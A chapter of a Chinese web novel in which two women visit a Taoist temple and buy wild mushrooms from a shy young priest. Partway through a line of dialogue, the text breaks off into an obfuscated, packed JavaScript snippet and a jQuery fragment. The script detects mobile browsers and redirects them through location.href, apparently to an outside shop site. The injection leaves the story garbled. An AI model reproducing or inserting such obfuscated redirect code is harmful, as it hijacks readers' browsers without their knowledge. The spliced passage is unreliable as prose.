“真高啊!”怀枝抬头,一只手半抵在眉毛处。
细碎温暖的阳光穿过银杏扇子般分叉的枝蔓,像挠痒痒一样洒在二人的皮肤之上。
没有芬芳苔草覆盖的地方,裸露出松软的黑泥土,用力踩一脚就能凹下去一点,踩出一个小盆地。
若是下点淅淅沥沥的小雨,那又会变成一塘小小的湖泊,若是变成一条小鱼,只无忧无虑地游弋在自己的那方浅水,庄清蘩也是很向往的。
就是这么常见又总是被疏忽的土壤,哺育出了直通云霄的巍巍古树。
柔软的土抱着树,树的根紧紧抓牢松散的颗粒。
怀枝兴奋地张开双臂,和只壁虎一样贴在树上,她竭力抻开手臂,也勉强抱住树的一半。
她试探用目光丈量树的长度,透过一挂又一挂的分枝,轻盈的绿色压在天空的亮蓝色之上,软绵绵的白云还要见缝插针地往横竖叉缝里钻,才能被怀枝注意到。
不同于怀枝第一次来青云山,庄清蘩对这遮天蔽日的青青杏树远而观之,她蹲下身子,阖目感受一草一木,鼻尖满是自然芬芳。
淡紫色的裤脚沾到一点点褐色,腕骨处的菩提白映出一点银杏绿,庄清蘩拾起丛中并不多的银杏叶,拇指轻捻过,将褐土掸净。
水润的杏眸像凭空长出了代表生机的小小嫩芽,手里新鲜的银杏叶外观像一把轻巧的纸折扇,顶部总是一弧起伏波浪,像飞累的鸟儿饥饿难耐,用长喙一点点啄开的。
风经过,绿满枝不再矜持,努力晃动头重脚轻的身体,发出沙沙的欢迎声,朝你招手。
再往前直走约莫两百步,便能看见玄真观的正门。
朱红高墙竖直地站在青石板砖上,墙角处有些小小的青苔,吐出岁月的味道,不仔细看,也发现不了。
一年轻道士穿青色长袍,头戴混元巾,脚穿十方鞋,恭敬地朝庄清蘩问好,行拱手礼:“可是贵人?师父交代我来为您引路。”
“有劳道长。”庄清蘩点头,简单回礼。
怀枝一迈入这道观就觉得有些不自在,像只鸟被关在一个大笼子里一样,里头一片肃穆安静,无论是香客施主还是本观的道长,都不苟言笑。
“大人无量天尊。”一长须老道持拂尘,他满头华发,捻须问候,笑呵道。
“敢问道长法号。”庄清蘩停步,有意与老道隔开一点距离。
“贫道法号明真。”明真的手捻停在胸口处的须尾,继续解释,“明玄师兄仍再替圣人炼化恶火,大人需等一等。”
庄清蘩是按照约定好的时辰来的,玄真观就差这点时间,她不信。
不过庄清蘩并不生气,她略带深意地凝一眼明真,也有点威慑之意:“要等多久。”
明真夹紧腋下的拂尘,想起玄真的话,又只将食指和中指竖起,略从容道:“两刻钟。”
“好,我四处转转。”庄清蘩没与明真继续计较。
明真给那沉默的年轻道人使眼色,庄清蘩不曾转身看那小道,翻掌带出阵风,拒了那跟近的道士,“来福地沾福缘,合为一人机缘。”
“好,大人自会机缘。”明真略扯起胡须,下颌张合间,带着稀疏的胡须抖动。
庄清蘩来的次数也不算多,又有意避开攀谈,只带着怀枝去了后山转转。
“栗鼠!”怀枝这回小声地惊呼,指给庄清蘩看那晃动之处,她就差猫起身子去逮那栗鼠了。
“小狗。”庄清蘩远眺另一个方向,还指给怀枝看。
“啊?”怀枝没听懂,疑惑地问,她怎么没看见哪里有小狗。
见怀枝如此反应,庄清蘩才将手轻轻搭在她肩上,耳语道:“远在天边,近……”
“不许说,不许说。”怀枝有点耍无赖,她伸手去堵庄清蘩的嘴。
怀枝的手,揪过野花,摸过树皮,捡过野果……
真是野人的野手。
庄清蘩后退一步,让她把灰扑扑的手拿远点。
怀枝混劲起来了,两只手就往前使劲碰,都不怕庄清蘩生气了。
“你的栗鼠。”庄清蘩将怀枝的注意力转回去,她这才罢休。
那处晃动得更厉害,一个鲜艳的花环从郁郁葱葱间升起,那弓腰的乾道直起身子,他黑长的头发乱散在白袍后,光看背影有些呆呆的。
他转身将竹编背篓拿起,不期瞧见对面二人。
她的眼睛像高挂枝头的杏,酸甜难辨,红润的双颊透出健康自然之美,与唇色相宜。
及膝的紫色长衫,配的是颜色更浅一点的长裤,在一片绿林之中,像降临俗世的紫阳神鹿。
再看她挽是双垂髻,没有用什么大件首饰装点,俏皮的是,颈左右两侧又放了两指宽的乌发。
想来是个迷路的香客。
怀枝咽下口水,这男郎姿容绝艳,花环之下是一张年轻的面孔,他唇红齿白,漂亮的狐狸眼里没有露出狡黠,只剩一丝迷蒙,像迷路的仙子。
水灵的黑眼珠中透出善意,他放下背篓,隔着这点并不远的距离,主动朝庄清蘩示好,“小道法号松风,香客可是迷路了?”
“路过。”怀枝抢白,高声盯着他,原来是修道的,怪不得看起来像小神仙。
松风似乎有些被怀枝的热情惊到,他迟疑地点点头,背上比他肩背还宽的竹篓,绕过最茂盛那片草,悠悠来到二人面前。
松风单手将竹篓放下,扭身间一绺黑发绕到他线条分明的下颌间,他的声音是那种活泼的,还有一分柔软,“你们要尝尝吗?”
采蘑菇的男神仙?
怀枝不再盯着松风的脸,被这半娄各种各种的蘑菇给吸引住,有长得像小伞的,也有长得像木耳那种大朵的,怀枝俯下身,兴奋地对庄清蘩说:“这看着就好吃啊。”
怀枝忍住去摸哪些冰冰凉凉,软乎乎的蘑菇,只两眼放光地扫视它们。
被夸的是蘑菇,松风却好像有点不好意思,低头间,花环顺着跌落在草地上。
怀枝被这堆蘑菇迷住,她自然没注意到这个小插曲,顾自说:“这个大的,炖汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782579|186163||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一定好喝。”
松风笑笑,却没看怀枝,“野蘑菇味美鲜香,如何做,都不会难吃。”言罢,他似乎才想起跌落的花环,慢慢捡起,轻轻拍落上的泥土,连带着抖落一点小黄花。
松风的狐狸眼眯起,他露出腼腆又餍足的笑,双手重新带上花环,如戴名贵宝冠。
他两手扶头,动作起伏间又露出白皙小臂,如一只蝴蝶。
庄清蘩礼貌性地颔首,又将视线全移到怀枝身上,温声提醒:“别看了,该走了。”
“不带走一些吗?我看……姑娘很喜欢。”松风不知道该如何称呼,歪头略停顿了一会,花环这次戴得很劳,并无再掉下来的风险。
“怀枝看什么都喜欢。”庄清蘩才偏头转向大方的松风,他的狐狸眼眨巴,早早盯着她,却不会让人不舒服。
“给我一点吧,不,我们买。”怀枝咽口水,低着蘑菇堆向松风提出交易。
庄清蘩无异议,正常买卖之事。
松风不回答怀枝,他的面颊像搽上一点胭脂,连着耳尖也粉粉的,声音略颤,“敢问道友的名讳?”
没等到庄清蘩的回答,松风又解释道:“交换名字,便是朋友。朋友的话,我喜欢低价卖。”
庄清蘩的表情像一面清澈的水镜,松风看不出来她的态度,只能瞧见自己的急迫。
两个呼吸后,庄清蘩告诉他,“路过的香客,陶嘉。”
松风呼出一口长气,只朝庄清蘩要一文钱。
怀枝有些郁闷,还不如论斤称两地卖。松风就收了一文钱,她不好意思多拿。
“松风道长,我想问你一个问题。”怀枝宝贝地拿手帕包好蘑菇,朝松风道。
松风点头,让她直接问。
“你的俗名叫什么啊?”怀枝好奇得很,这些道长不会是因为俗名太难听,才都唤法号啊。
松风轻笑,目光落到庄清蘩随风乱飘的发带上,语间还有一丝怀念,“宋平鹤。”
“那,那你多大了?道长是不是……”
“怀枝。”庄清蘩回神打断怀枝的话,将她冒犯的话音掩住。
怀枝有些呆呆的,她不明所以地靠近庄清蘩,才听她叹一声,解释道:“道不问寿。”
狐狸眼跟着缩起,她叹了一口气,杏子似乎变得有些酸。
怀枝才知犯了忌讳,连声道歉。
见庄清蘩道歉般地祝自己“无量寿福”,松风温声出言,“无碍,正是双十年华。”
怀枝这会比庄清蘩还想走,她拉着庄清蘩,跟长了八条腿一般,飞速地离开此地。
狐狸眼随着原路返回的小鹿走,松风唇舌很灵活,他将腕间红绳素圈解下,把那枚铜钱串到当中,将活结变成死结。
“明天师叔。”松风找了许久地方,才找到他朝宋平鹤见礼,“师叔,您几日早课都未做,怎得又出来采蘑菇。”
宋平鹤心情很好,猎风吹过,道袍翻飞,衬出他身骨单弱,娓娓解释道:“西王母昨夜传召,命我侍奉紫阳神鹿。”